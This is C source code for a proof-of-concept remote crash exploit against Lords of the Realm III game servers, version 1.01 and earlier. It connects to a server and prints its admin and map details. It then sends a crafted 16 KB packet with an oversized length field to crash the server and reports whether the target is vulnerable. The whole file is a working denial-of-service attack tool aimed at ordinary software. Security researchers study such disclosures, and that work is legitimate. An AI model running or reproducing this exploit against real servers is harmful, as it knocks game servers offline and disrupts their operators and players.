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- /*
-
- by Luigi Auriemma
-
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-
- #ifdef WIN32
- #include <winsock.h>
- #include "winerr.h"
-
- #define close closesocket
- #else
- #include <unistd.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #endif
-
-
-
- #define VER "0.1"
- #define PORT 29901
- #define BUFFSZ 16384 // BOOMSZ
-
- #define SHOW(x) len = *(u_long *)p; \
- fputs(x, stdout); \
- p += 4; \
- while(len--) { \
- fputc(*p, stdout); \
- p += 2; \
- } \
- fputc('\n', stdout);
-
-
-
- u_long resolv(char *host);
- void std_err(void);
-
-
-
- int main(int argc, char *argv[]) {
- struct sockaddr_in peer;
- int sd,
- len;
- u_short port = PORT;
- u_char buff[BUFFSZ],
- *p;
-
-
- setbuf(stdout, NULL);
-
- fputs("\n"
- "Lords of the Realm III <= 1.01 server crash "VER"\n"
- "by Luigi Auriemma\n"
- "e-mail: aluigi@altervista.org\n"
- "web: http://aluigi.altervista.org\n"
- "\n", stdout);
-
- if(argc < 2) {
- printf("\n"
- "Usage: %s <server> [port(%d)]\n"
- "\n", argv[0], PORT);
- exit(1);
- }
-
- #ifdef WIN32
- WSADATA wsadata;
- WSAStartup(MAKEWORD(1,0), &wsadata);
- #endif
-
- if(argc > 2) port = atoi(argv[2]);
-
- peer.sin_addr.s_addr = resolv(argv[1]);
- peer.sin_port = htons(port);
- peer.sin_family = AF_INET;
-
- sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if(sd < 0) std_err();
-
- printf("- target %s:%hu\n",
- inet_ntoa(peer.sin_addr), port);
- if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
- < 0) std_err();
-
- if(recv(sd, buff, BUFFSZ, 0)
- < 0) std_err();
-
- fputs("- informations:\n", stdout);
- if(*buff != 11) {
- p = buff + 5;
- SHOW(" Server*Admin: ");
- p += 2;
- SHOW(" Map: ");
- } else {
- p = buff + 24;
- SHOW(" Admin nick: ");
- }
-
- *(u_long *)buff = BUFFSZ - 4;
- memcpy(buff + 4, "\x79\xff\xff\xff\xff", 5);
- *(u_long *)(buff + 9) = (BUFFSZ - 14) >> 1;
- memset(buff + 13, 'a', BUFFSZ - 14);
- buff[BUFFSZ - 1] = 0x45;
-
- fputs("\n- send BOOM data\n", stdout);
- if(send(sd, buff, BUFFSZ, 0)
- < 0) std_err();
-
- if(recv(sd, buff, BUFFSZ, 0) < 0) {
- fputs("\nServer IS vulnerable!!!\n\n", stdout);
- } else {
- fputs("\nServer doesn't seem to be vulnerable\n\n", stdout);
- }
-
- close(sd);
- return(0);
- }
-
-
-
- u_long resolv(char *host) {
- struct hostent *hp;
- u_long host_ip;
-
- host_ip = inet_addr(host);
- if(host_ip == INADDR_NONE) {
- hp = gethostbyname(host);
- if(!hp) {
- printf("\nError: Unable to resolve hostname (%s)\n", host);
- exit(1);
- } else host_ip = *(u_long *)(hp->h_addr);
- }
- return(host_ip);
- }
-
-
-
- #ifndef WIN32
- void std_err(void) {
- perror("\nError");
- exit(1);
- }
- #endif
-
-
-